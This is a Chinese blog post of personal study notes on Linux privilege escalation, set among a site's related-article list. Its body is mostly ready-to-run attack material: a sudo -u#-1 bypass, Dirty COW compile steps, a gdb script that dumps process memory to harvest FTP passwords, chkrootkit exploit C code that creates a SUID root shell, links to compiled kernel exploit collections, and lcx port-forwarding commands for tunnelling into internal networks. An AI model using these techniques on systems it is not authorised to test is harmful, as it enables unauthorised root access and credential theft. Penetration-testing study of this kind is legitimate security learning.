linux提权学习笔记

Kali linux 学习笔记(二十一)提权——本地提权(at、sc、Sysinternals Suite 套件、注入进程) 2020.3.3 初步控制目标机后,要提升权限,本节简单介绍几种本地提权方法 阅读详情

linux提权学习笔记

操作系统信息

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal 

PATH

如果您对变量内的任何文件夹具有写入权限,您可能能够劫持一些库或二进制文件:PATH

echo $PATH

环境信息

(env || set) 2>/dev/null

内核版本

cat /proc/version
uname -a
searchsploit "Linux Kernel"

编译的漏洞:

github.com/lucyoa/kernel-exploits

github.com/bwbwbwbw/linux-exploit-binaries

github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

可以帮助搜索内核漏洞的工具

https://github.com/mzet-/linux-exploit-suggester
https://github.com/jondonas/linux-exploit-suggester-2

CVE-2016-5195(脏牛)

Linux 权限提升 - Linux 内核 <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Sudo version

searchsploit sudo

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

sudo -V | grep 'Sudo version'    查看是否受影响的版本,低于1.8.29有漏洞
修改配置文件:vim/etc/sudoers 在root(ALL:ALL)ALL添加一行
test ALL=(ALL,!root)ALL
useradd test passwd test
su - test
sudo -u#-1 id -u 或
sudo -u#4294967295 id -u

sudo -u#-1 whoami
sudo -u#-1 sh

检查已安装和未安装的内容、位置

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

枚举有用的二进制文件

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

在这里插入图片描述

检查是否安装了任何编译器

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

检查已安装包和服务的版本

dpkg -l #Debian
rpm -qa #Centos

可以使用openVAS检查机器内安装的过时和易受攻击的软件

查看正在执行的进程并检查是否有任何进程具有****比它应有的更多权限

ps aux
ps -ef
top -n 1

有权访问 FTP 服务的内存

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings 信息过程映射
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #用户和密码

gdb脚本

#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
    | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
    | while read start stop; do \
    gdb --batch --pid $1 -ex \
    "dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

内核溢出提权

查看内核
uname -r
反弹shell执行命令
上传exp
编译
执行
根据内核版本查找对应漏洞
收集exp
可以从www.exploit-db.com查找漏洞利用

linux-exploit-suggerster

https://github.com/mungurk/linux-exploit-suggester.sh/blob/master/linux-exploit-suggester.sh
chmod 777 x.sh
./x.sh

mysql UDF 提权

上传库文件
执行库文件创建命令执行函数

利用SUID提权

寻找系统里可以用的SUID文件来提权
$ find / -perm -u=s -type f 2>/dev/null

利用环境变量劫持高权限程序提权

第一步:查找可操作文件
$ find / -perm -u=s -type f 2>/dev/null
第二步:利用file 命令查看文件是否可执行

•执行该文件

•在执行的时候可能会报错,根据报错来查看调用系统命令

利用chkrootkit <0.49版本提权

1.如果发现Linux服务器存在chkrootkit并且版本小于0.49
2.上传一个利用脚本到/tmp目录下并编译
#include <unistd.h>
void main(void)
{
system("chown root:root /tmp/update");
system("chmod 4755 /tmp/update");
setuid(0);
setgid(0);
execl("/bin/sh","sh",NULL);
}
保存为update.c
进入到/tmp目录下
gcc -o update  update.c
然后等着管理员运行chkrootkit命令检测系统后门
在发现/tmp/update 所有者会变成root
这时候你在进入/tmp运行update
./update

内网端口转发

内网主机输入命令
lcx.exe -slave 外网ip 外网端口  内网ip   内网端口
lcx.exe -slave 200.1.1.1  1111    192.168.1.2  3389

外网主机输入命令
lcx.exe  -listen 1111  1311

【学习笔记】-提权篇(保姆级) 内网渗透(详细、初级)、提权手段归纳 阅读详情

相关推荐

Kali linux 学习笔记(二十四)提权——利用漏洞(ms11-080、ms14-068) 2020.3.4

利用漏洞进行提权,主要是ms11-080、ms14-068

闵行小鱼塘 1569

Linux提权简单总结

Linux提权简单总结

Aiwin的博客 2787

Linux提权——SUDO

使用Sudo权限提升Linux账户权限 在Linux/Unix中,/etc/sudoers文件是sudo权限的配置文件,其中储存了一些用户或组可以以root权限使用的命令。如下图 Sudoer文件语法 假如我们(root用户)要给普通用户test分配sudo权限,请输出vim /etc/sudoers打开文件进行编辑,找到root权限root ALL=(ALL:ALL) ALL,在下一行输入 test ALL(ALL:ALL) ALL,保存后退出,这样即表示用户test可以使用sudo调用root权

negnegil的博客 1万+

shell程序中 2> /dev/null 代表什么意思?

作者:裕用ID 链接:https://www.zhihu.com/question/53295083/answer/135258024 来源:知乎 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 以下来自一个重度linux使用患者不请自来的回答。 先用简单的语言回答题主的问题: shell程序中 2> /dev/null 代表什么意思? 答:“2> /dev/null” 代表忽略掉错误提示信息。 如题 2> 代表什么意思?讲错误输出删除? 答:“2&g.

glenshappy的专栏 1万+

最新chkrootkit&rootkit; hunter软件及使用教程

最新chkrootkit&rootkit; hunter软件及使用教程。 包含:最新的chkrootkit&rootkit; hunter软件、详细的使用教程

安全漏洞:Chkrootkit 0.49 本地提权漏洞的测试方法

主要为大家介绍了查看自己的Chkrootkit 0.49安装的是不是升到最新版了,或者下载有漏洞的版本进行实验,感兴趣的朋友可以和脚本之家的小编一起来看一下

谈谈linux中那些非常规提权及其应用场景

*提权原理:**本质上还是linux环境变量提权的那个原理,我之所以把这个提权案例拿过来,是因为我认为发现和分析用户自定义文件的这个过程及其思想是有价值的。环境变量提权的原理我之前写过一篇文章,感兴趣的师傅可以去看看,链接如下:https://www.freebuf.com/articles/system/320593.html通过常规的信息搜集,我发现内核提权和常规的sudo等提权手段都不可行,但是在使用以下命令的时候,发现了listinfo。

阿道夫的博客 683

【SABRE 3D, SABRE 3DxT,LAM设备】2025年9月10日

前文:SABRE 3D系列机台简介本章节详细阐述了在维护期间锁定电气、机械、热力学及重力组件以及化学管线输入的锁定操作流程,旨在降低人员受伤风险。p42~p55。

weixin_46735260的博客 1616

SickOs1.2靶场练习&小白详解&计划任务提权&chkrootkit提权

SickOs1.2靶场渗透详解&小白入门&计划任务提权&chkrootkit提权

jockerboss的博客 1553

手把手教你用ESP32驱动MAX30102心率血氧传感器(含完整代码)

本文详细介绍了如何使用ESP32微控制器驱动MAX30102心率血氧传感器,构建智能健康监测系统。内容涵盖PPG原理、硬件连接、驱动配置、信号处理算法以及Web服务器数据可视化,提供完整代码实现,帮助开发者快速上手物联网健康设备开发。

weixin_29208077的博客 589

shopro 商城,2025年新申请的微信支付提示失败,支付提示 Get Wechat Public Cert Error 问题的修复办法

shopro 商城,最近新申请的微信支付商户 支付提示 Get Wechat Public Cert Error 问题的修复办法

行走的卡路里 1245

Linux提权学习笔记

本文分享了Linux系统提权的几种常用方法:1)利用sudo命令获取root权限;2)通过passwd文件破解密码或修改root信息;3)利用cron定时任务执行反弹shell脚本;4)使用通配符配合tar命令实现提权;5)利用SUID权限的特殊二进制文件。重点介绍了每种方法的具体操作步骤,包括查找可利用点、编写执行脚本、设置监听等关键环节,并提供了相关命令参考。这些方法在渗透测试中可用于权限提升测试,但需注意实际应用应符合合法授权范围。

m0_73318922的博客 958

CoaXPress协议入门(1)---- CXP测试套件

CoaXPress (简称CXP)是指一种采用同轴线缆进行互联的相机数据传输标准,主要用于替代之前的Camera Link协议,常见于科学相机、工业相机、医学图像、航空防务等场景。CXP是一个非对称的高速点对点串行传输协议,主要用于传输视频和静态图像,线缆多使用单条或多条同轴电缆。CXP易于集成,可以获得灵活可靠的性能,通过使用标准的同轴线缆,比如RG59 和 RG6规格(推荐使用RG6),并且图像、控制通讯、触发、电源都可以使用同一条线缆。

素手挽剑 9520

以escalate靶机为例学习linux的提权方式-linux提权学习笔记(1)

linux11种提权方式总结

zr1213159840的博客 3439

【数据挖掘】遗传算法原理浅析:什么是遗传算法?遗传算法的工作原理是什么?

遗传算法(Genetic Algorithm,GA),是进化算法的框架和核心。 各种进化算法有什么异同? - 及时物语的回答 - 知乎 https://www.zhihu.com/question/39152390/answer/901070749

纸羊同学的博客 4280

SAP_MM模块库存概览俄罗斯报表简介

本文介绍了SAP MM模块中"库存概览俄罗斯报表"的功能与应用。该报表主要用于查看物料在不同库存地点和类型的库存情况,并满足俄罗斯当地法规要求。文章解释了"俄罗斯报表"可能指代本地化合规库存报表或客户自定义报表,详细说明了事务代码J3RFLVMOBVEDH的操作步骤,包括公司代码、物料编码、日期范围等查询条件,并解释了报表中各字段含义如期初期末库存数量与价值。最后强调在物料分类账处理完成后使用该报表可获得实际库存价值,为SAP用户提供了实用的库存管理参考。

我小时候很黑的博客 1092

Kali linux 学习笔记(二十三)提权——几个好工具(WCE、fgdump、mimikatz) 2020.3.4

学习了几个提权的好工具:WCE、fgdump、mimikatz

闵行小鱼塘 1969

[Godot][入门] 安装与版本选择:3.x 还是 4.x?(按项目类型一键决策)

摘要: Godot引擎版本选择需根据项目需求权衡3.x与4.x。Godot4.x(如4.2)适合3D开发和新项目,支持Vulkan和GDScript2.0,但生态尚不成熟;Godot3.x(如3.5.3)则更适合稳定2D开发、Web导出及依赖现有插件/教程的场景。安装方式极简,官网下载解压即可运行。新手建议:短期高效选3.x,长期探索选4.x,旧项目勿盲目迁移。附版本对比表及决策树,助开发者快速匹配需求。

技术小甜甜:传播可落地技术,帮助个人和企业降低解决真实场景问题的成本 912

kali linux学习笔记,包括环境配置、工具熟悉、信息收集、缓冲区溢出、提权、渗透、密码破解、隧道、拒绝服务、免杀、取证、metasploit

这是之前学习kali linux的学习笔记的目录

闵行小鱼塘 2984

手把手教您解决 AdGuard Home DNS重写功能失效的问题

AdGuard Home 设置了 DNS 重写,规则明明没问题,客户端却死活解析不到内网 IP?🤯 别急着重装!🚫 本文手把手教你如何解决软路由 DNS 解析“玄学”故障!🛠️🚀

XiaoqiangClub的博客 924

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

Kali linux 学习笔记(二十二)提权——抓包提权(sniffer、缓存、pwdump) 2020.3.3

这节主要通过抓包来实现提权

闵行小鱼塘 1885

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

Kali linux 学习笔记(二十五)提权——配置不当 2020.3.5

与漏洞相比,利用配置不当更常用

闵行小鱼塘 1045

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

vulnhub-Lampião: 1之脚本小子linux提权学习笔记

1.通过只有一个ip信息收集>>>>网页漏洞利用>>>>web权限2.web权限>>>>内核提权>>>>root权限。

gcfsghdhnbf的博客 229

个人用云计算学习笔记 --2(Shell variable、Linux 用户和组管理、Linux 提权管理、Linux 文件权限管理)

本文总结了Shell变量的基本使用和管理方法,包括变量定义、查看与删除,变量作用范围(局部/全局变量),环境变量的设置与常见变量,以及变量的持久化保存配置。同时介绍了命令替换的两种格式($(COMMAND)和COMMAND)和字符转义方法(\、" "、' ')。最后讲解了Linux用户和组管理的相关知识,包括用户类型、/etc/passwd和/etc/group文件结构,以及主要组和补充组的区别。通过具体命令示例,展示了变量操作、用户信息查询等实用技巧。

iconball的博客 1211

Kali linux 学习笔记(二十六)提权——收集信息和隐藏痕迹 2020.3.5

得到高权限的用户后,我们需要进行有用信息的收集,并尽可能隐藏痕迹

闵行小鱼塘 1114

红帽Linux学习笔记——Day04(RHCSA)

permit(允许),root(管理员root用户),Login(登录),prohibit(禁止),password(密码),允许root通过ssh远程登录吗?#查找/usr目录,找权限包含sgid的文件,找到后执行cp拷贝命令,cp的使用-p是保留文件的权限,{}代表找到的文件(固定格式),\;Linux系统除了有软件包之外,还有组包(一组软件包),安装组包,就可以把组内的所有软件包都安装!enp1s0(网卡名称,名称不是固定的,可能是ens33,ens36,eth0,enp2等)

m0_62166971的博客 1126
上一篇: 首次渗透实战笔记
下一篇: Nessus安装学习笔记
脚本实习生
博客等级 码龄8年 12粉丝 27原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

脚本实习生

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值